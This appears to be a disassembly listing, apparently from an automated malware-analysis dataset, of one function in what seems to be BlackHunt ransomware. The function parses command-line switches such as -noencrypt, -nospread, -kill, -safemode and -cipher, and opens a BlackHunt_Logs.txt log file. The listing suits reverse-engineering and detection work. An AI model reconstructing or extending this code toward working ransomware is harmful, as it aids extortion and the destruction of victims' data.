Function at 0x401100
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x459008]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push ecx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
test edi, edi
jne 0x401138
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push esi
cmp eax, 1
jle 0x401167
mov esi, 1
push 0x442efc
push dword [edi + esi*4]
call ebx
test eax, eax
je 0x40118b
inc esi
cmp esi, dword [ebp - 0xc]
jl 0x401150
mov eax, dword [ebp - 8]
push str._network
mov edx, eax
mov ecx, edi
call fcn.00401060
add esp, 4
test eax, eax
je 0x40119a
mov dword [0x47989c], 0x14
jmp 0x40129e
mov dword [0x47989c], 0xa
jmp 0x40129e
mov edx, dword [ebp - 8]
mov ecx, edi
push str._biggame
call fcn.00401060
add esp, 4
test eax, eax
je 0x4011bf
mov dword [0x47989c], 0x28
jmp 0x40129e
mov edx, dword [ebp - 8]
mov ecx, edi
push str._backup
call fcn.00401060
add esp, 4
test eax, eax
je 0x4011e4
mov dword [0x47989c], 0x32
jmp 0x40129e
mov edx, dword [ebp - 8]
mov ecx, edi
push str._noencrypt
call fcn.00401060
add esp, 4
test eax, eax
je 0x401209
mov dword [0x47989c], 0x3c
jmp 0x40129e
mov edx, dword [ebp - 8]
mov ecx, edi
push 0x442f5c
call fcn.00401060
add esp, 4
test eax, eax
je 0x401294
mov edx, dword [ebp - 8]
push ecx
mov ecx, edi
mov dword [0x47989c], 0x1e
call fcn.004010b0
add esp, 4
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40129e
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
push eax
push 0x478110
mov dword [0x47989c], 0x1e
call esi
push dword [ebp - 0xc]
push 0x479b10
call esi
push str.BlackHunt_Logs.txt
push 0x479b10
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x47a310
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push closesocket
push 4
push 0
push 3
push 0x40000000
push 0x479b10
jmp 0x4012f2
mov dword [0x47989c], 0
mov edx, dword [ebp - 8]
mov ecx, edi
push str._nologs
call fcn.00401060
add esp, 4
push 0x47a310
test eax, eax
je 0x4012d5
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push closesocket
push 4
push 0
push 3
push 0x40000000
push 0
jmp 0x4012f2
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push closesocket
push 4
push 0
push 3
push 0x40000000
push str.C:ProgramDataBlackHunt_Logs.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 2
push 0
push 0
push eax
mov dword [0x459974], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
cmp eax, 1
jle 0x401337
mov esi, 1
nop word [eax + eax]
push str._info
push dword [edi + esi*4]
call ebx
test eax, eax
je 0x401358
inc esi
cmp esi, dword [ebp - 0xc]
jl 0x401320
mov eax, dword [ebp - 8]
push str._netinfo
mov edx, eax
mov ecx, edi
call fcn.00401060
add esp, 4
test eax, eax
je 0x401364
mov dword [0x46f45c], 0x14
jmp 0x401382
mov dword [0x46f45c], 0xa
jmp 0x401382
mov edx, dword [ebp - 8]
mov ecx, edi
push str._status
call fcn.00401060
add esp, 4
neg eax
sbb eax, eax
and eax, 0x1e
mov dword [0x46f45c], eax
mov esi, dword [ebp - 8]
cmp esi, 1
jle 0x4013b2
mov eax, 1
mov dword [ebp - 0xc], eax
push str._norename
push dword [edi + eax*4]
call ebx
test eax, eax
je 0x4016d8
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp eax, esi
jl 0x401392
mov esi, dword [ebp - 8]
mov dword [0x479b0c], 0
cmp esi, 1
jle 0x4013f0
mov eax, 1
mov dword [ebp - 0xc], eax
nop dword [eax]
push str._debug
push dword [edi + eax*4]
call ebx
test eax, eax
je 0x4016ea
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp eax, esi
jl 0x4013d0
mov esi, dword [ebp - 8]
mov dword [0x479b08], 0
cmp esi, 1
jle 0x401430
mov eax, 1
mov dword [ebp - 0xc], eax
nop word [eax + eax]
push str._nomutex
push dword [edi + eax*4]
call ebx
test eax, eax
je 0x4016fc
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp eax, esi
jl 0x401410
mov esi, dword [ebp - 8]
mov dword [0x4798a4], 0
cmp esi, 1
jle 0x401470
mov eax, 1
mov dword [ebp - 0xc], eax
nop word [eax + eax]
push str._update
push dword [edi + eax*4]
call ebx
test eax, eax
je 0x40170e
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp eax, esi
jl 0x401450
mov esi, dword [ebp - 8]
mov dword [0x4798a0], 0
cmp esi, 1
jle 0x4014b0
mov eax, 1
mov dword [ebp - 0xc], eax
nop word [eax + eax]
push str._kill
push dword [edi + eax*4]
call ebx
test eax, eax
je 0x401720
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp eax, esi
jl 0x401490
mov esi, dword [ebp - 8]
mov dword [0x479898], 0
cmp esi, 1
jle 0x4014f0
mov eax, 1
mov dword [ebp - 0xc], eax
nop word [eax + eax]
push str._scanner
push dword [edi + eax*4]
call ebx
test eax, eax
je 0x401732
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp eax, esi
jl 0x4014d0
mov esi, dword [ebp - 8]
mov dword [0x47a30c], 0
cmp esi, 1
jle 0x401530
mov eax, 1
mov dword [ebp - 0xc], eax
nop word [eax + eax]
push str._safemode
push dword [edi + eax*4]
call ebx
test eax, eax
je 0x401744
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp eax, esi
jl 0x401510
mov esi, dword [ebp - 8]
mov dword [0x4788e8], 0
cmp esi, 1
jle 0x401570
mov eax, 1
mov dword [ebp - 0xc], eax
nop word [eax + eax]
push str._silent
push dword [edi + eax*4]
call ebx
test eax, eax
je 0x401756
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp eax, esi
jl 0x401550
mov esi, dword [ebp - 8]
mov dword [0x478100], 0
cmp esi, 1
jle 0x4015b0
mov eax, 1
mov dword [ebp - 0xc], eax
nop word [eax + eax]
push str._cpu
push dword [edi + eax*4]
call ebx
test eax, eax
je 0x401768
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp eax, esi
jl 0x401590
mov esi, dword [ebp - 8]
mov dword [0x4788e4], 0
cmp esi, 1
jle 0x4015f0
mov eax, 1
mov dword [ebp - 0xc], eax
nop word [eax + eax]
push str._cipher
push dword [edi + eax*4]
call ebx
test eax, eax
je 0x40177a
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp eax, esi
jl 0x4015d0
mov esi, dword [ebp - 8]
mov dword [0x4788ec], 0
cmp esi, 1
jle 0x401630
mov eax, 1
mov dword [ebp - 0xc], eax
nop word [eax + eax]
push str._restart
push dword [edi + eax*4]
call ebx
test eax, eax
je 0x40178c
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp eax, esi
jl 0x401610
mov esi, dword [ebp - 8]
mov dword [0x47a2e0], 0
cmp esi, 1
jle 0x401670
mov eax, 1
mov dword [ebp - 0xc], eax
nop word [eax + eax]
push str._nospread
push dword [edi + eax*4]
call ebx
test eax, eax
je 0x40179e
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp eax, esi
jl 0x401650
mov esi, dword [ebp - 8]
mov dword [0x459970], 1
cmp esi, 1
jle 0x4016b0
mov eax, 1
mov dword [ebp - 0xc], eax
nop word [eax + eax]
push str._fast
push dword [edi + eax*4]
call ebx
test eax, eax
je 0x4017b0
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp eax, esi
jl 0x401690
mov esi, dword [ebp - 8]
push str._database
mov edx, esi
mov ecx, edi
call fcn.00401060
add esp, 4
test eax, eax
je 0x4017bc
mov dword [0x479b04], 0x14
jmp 0x4017da
mov esi, dword [ebp - 8]
mov dword [0x479b0c], 1
jmp 0x4013bc
mov esi, dword [ebp - 8]
mov dword [0x479b08], 1
jmp 0x4013fa
mov esi, dword [ebp - 8]
mov dword [0x4798a4], 1
jmp 0x40143a
mov esi, dword [ebp - 8]
mov dword [0x4798a0], 1
jmp 0x40147a
mov esi, dword [ebp - 8]
mov dword [0x479898], 1
jmp 0x4014ba
mov esi, dword [ebp - 8]
mov dword [0x47a30c], 1
jmp 0x4014fa
mov esi, dword [ebp - 8]
mov dword [0x4788e8], 1
jmp 0x40153a
mov esi, dword [ebp - 8]
mov dword [0x478100], 1
jmp 0x40157a
mov esi, dword [ebp - 8]
mov dword [0x4788e4], 1
jmp 0x4015ba
mov esi, dword [ebp - 8]
mov dword [0x4788ec], 1
jmp 0x4015fa
mov esi, dword [ebp - 8]
mov dword [0x47a2e0], 1
jmp 0x40163a
mov esi, dword [ebp - 8]
mov dword [0x459970], 0
jmp 0x40167a
mov dword [0x479b04], 0xa
jmp 0x4017da
mov edx, dword [ebp - 8]
mov ecx, edi
push str._full
call fcn.00401060
add esp, 4
neg eax
sbb eax, eax
and eax, 0x1e
mov dword [0x479b04], eax
mov ecx, dword [ebp - 4]
mov eax, 1
pop esi
pop ebx
xor ecx, ebp
pop edi
call fcn.0040a2df
mov esp, ebp
pop ebp
ret